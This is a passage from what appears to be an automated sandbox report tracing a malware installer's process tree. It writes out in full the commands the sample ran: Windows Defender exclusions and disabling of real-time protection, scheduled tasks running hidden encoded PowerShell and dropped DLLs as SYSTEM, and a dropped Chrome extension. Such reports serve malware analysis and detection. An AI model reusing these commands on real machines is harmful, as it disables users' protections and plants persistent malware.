2980 wrote to memory of 2520 2980 forfiles.exe cmd.exe PID 2980 wrote to memory of 2520 2980 forfiles.exe cmd.exe PID 2752 wrote to memory of 1672 2752 cmd.exe reg.exe PID 2752 wrote to memory of 1672 2752 cmd.exe reg.exe PID 2752 wrote to memory of 1672 2752 cmd.exe reg.exe PID 2752 wrote to memory of 1672 2752 cmd.exe reg.exe PID 2752 wrote to memory of 1672 2752 cmd.exe reg.exe PID 2752 wrote to memory of 1672 2752 cmd.exe reg.exe PID 2752 wrote to memory of 1672 2752 cmd.exe reg.exe PID 2520 wrote to memory of 2660 2520 cmd.exe reg.exe PID 2520 wrote to memory of 2660 2520 cmd.exe reg.exe PID 2520 wrote to memory of 2660 2520 cmd.exe reg.exe PID 2520 wrote to memory of 2660 2520 cmd.exe reg.exe PID 2520 wrote to memory of 2660 2520 cmd.exe reg.exe PID 2520 wrote to memory of 2660 2520 cmd.exe reg.exe PID 2520 wrote to memory of 2660 2520 cmd.exe reg.exe PID 2752 wrote to memory of 2492 2752 cmd.exe reg.exe PID 2752 wrote to memory of 2492 2752 cmd.exe reg.exe PID 2752 wrote to memory of 2492 2752 cmd.exe reg.exe PID 2752 wrote to memory of 2492 2752 cmd.exe reg.exe PID 2752 wrote to memory of 2492 2752 cmd.exe reg.exe PID 2752 wrote to memory of 2492 2752 cmd.exe reg.exe PID 2752 wrote to memory of 2492 2752 cmd.exe reg.exe PID 2520 wrote to memory of 2516 2520 cmd.exe reg.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS85E2.tmp\Install.exe.\Install.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS8EA9.tmp\Install.exe.\Install.exe /ZinkDdidMQ "525403" /S3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:326⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:646⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&5⤵
- Suspicious use of WriteProcessMemory
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:326⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:646⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gsKuFmUCL" /SC once /ST 02:15:44 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="4⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gsKuFmUCL"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gsKuFmUCL"4⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bQrKcOXclPyMmQgfTY" /SC once /ST 18:35:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\HwCJYAoGHZGEGAfxF\xtiGjqqlqnODuBu\xlzjQrI.exe\" BX /bysite_idguQ 525403 /S" /V1 /F4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\system32\taskeng.exetaskeng.exe {69763729-CF41-42B5-9243-C2280FE8A5E8} S-1-5-21-2085049433-1067986815-1244098655-1000:AHLBRYJO\Admin:Interactive:[1]1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\system32\taskeng.exetaskeng.exe {670E3FA2-2A02-4E47-8435-DE0F7E5A4F4E} S-1-5-18:NT AUTHORITY\System:Service:1⤵
-
C:\Users\Admin\AppData\Local\Temp\HwCJYAoGHZGEGAfxF\xtiGjqqlqnODuBu\xlzjQrI.exeC:\Users\Admin\AppData\Local\Temp\HwCJYAoGHZGEGAfxF\xtiGjqqlqnODuBu\xlzjQrI.exe BX /bysite_idguQ 525403 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gaxwWtikD" /SC once /ST 16:49:22 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gaxwWtikD"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gaxwWtikD"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:324⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:644⤵
- Modifies Windows Defender Real-time Protection settings
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gEWCfBXIt" /SC once /ST 00:28:25 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gEWCfBXIt"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gEWCfBXIt"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\szdKxxrFMiVXCdXj\NClqozNZ\fWJxLqlllPENsHDk.wsf"3⤵
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\szdKxxrFMiVXCdXj\NClqozNZ\fWJxLqlllPENsHDk.wsf"3⤵
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PhaWElAePoHhBdUTFeR" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PhaWElAePoHhBdUTFeR" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bJazgiTXFJUn" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bJazgiTXFJUn" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\icEyDogKU" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\icEyDogKU" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ycMZCyUlVfbU2" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ycMZCyUlVfbU2" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yczsUHdtPuMxC" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yczsUHdtPuMxC" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\sUklQelueKqzsVVB" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\sUklQelueKqzsVVB" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\HwCJYAoGHZGEGAfxF" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\HwCJYAoGHZGEGAfxF" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PhaWElAePoHhBdUTFeR" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PhaWElAePoHhBdUTFeR" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bJazgiTXFJUn" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bJazgiTXFJUn" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\icEyDogKU" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\icEyDogKU" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ycMZCyUlVfbU2" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ycMZCyUlVfbU2" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yczsUHdtPuMxC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yczsUHdtPuMxC" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\sUklQelueKqzsVVB" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\sUklQelueKqzsVVB" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\HwCJYAoGHZGEGAfxF" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\HwCJYAoGHZGEGAfxF" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\szdKxxrFMiVXCdXj" /t REG_DWORD /d 0 /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gsZObfjid" /SC once /ST 15:04:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gsZObfjid"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gsZObfjid"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NDmpcgCvNfyvVRxht" /SC once /ST 05:45:54 /RU "SYSTEM" /TR "\"C:\Windows\Temp\szdKxxrFMiVXCdXj\ftQFJCRfveHPGNc\yXZKGyt.exe\" qh /UHsite_idhnq 525403 /S" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "NDmpcgCvNfyvVRxht"3⤵
-
C:\Windows\Temp\szdKxxrFMiVXCdXj\ftQFJCRfveHPGNc\yXZKGyt.exeC:\Windows\Temp\szdKxxrFMiVXCdXj\ftQFJCRfveHPGNc\yXZKGyt.exe qh /UHsite_idhnq 525403 /S2⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bQrKcOXclPyMmQgfTY"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:324⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:644⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\icEyDogKU\aSHhDP.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "NplADKkCBziqQHN" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NplADKkCBziqQHN2" /F /xml "C:\Program Files (x86)\icEyDogKU\oAJFWvv.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "NplADKkCBziqQHN"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "NplADKkCBziqQHN"3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "GHwlerDeIQsNdm" /F /xml "C:\Program Files (x86)\ycMZCyUlVfbU2\XwZSklr.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "XFllyoUkeQVbq2" /F /xml "C:\ProgramData\sUklQelueKqzsVVB\NqfZqBQ.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "asZjWRxPJGYSVOeSc2" /F /xml "C:\Program Files (x86)\PhaWElAePoHhBdUTFeR\yjdnzpu.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "hcGrzUAxWeRcgCYFZrx2" /F /xml "C:\Program Files (x86)\yczsUHdtPuMxC\SRjRWLu.xml" /RU "SYSTEM"3⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "yWyixlOEsLxsTwFTt" /SC once /ST 11:01:56 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\szdKxxrFMiVXCdXj\ObVLPfwY\iPfZodo.dll\",#1 /mrsite_idAkM 525403" /V1 /F3⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "yWyixlOEsLxsTwFTt"3⤵
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:324⤵
-
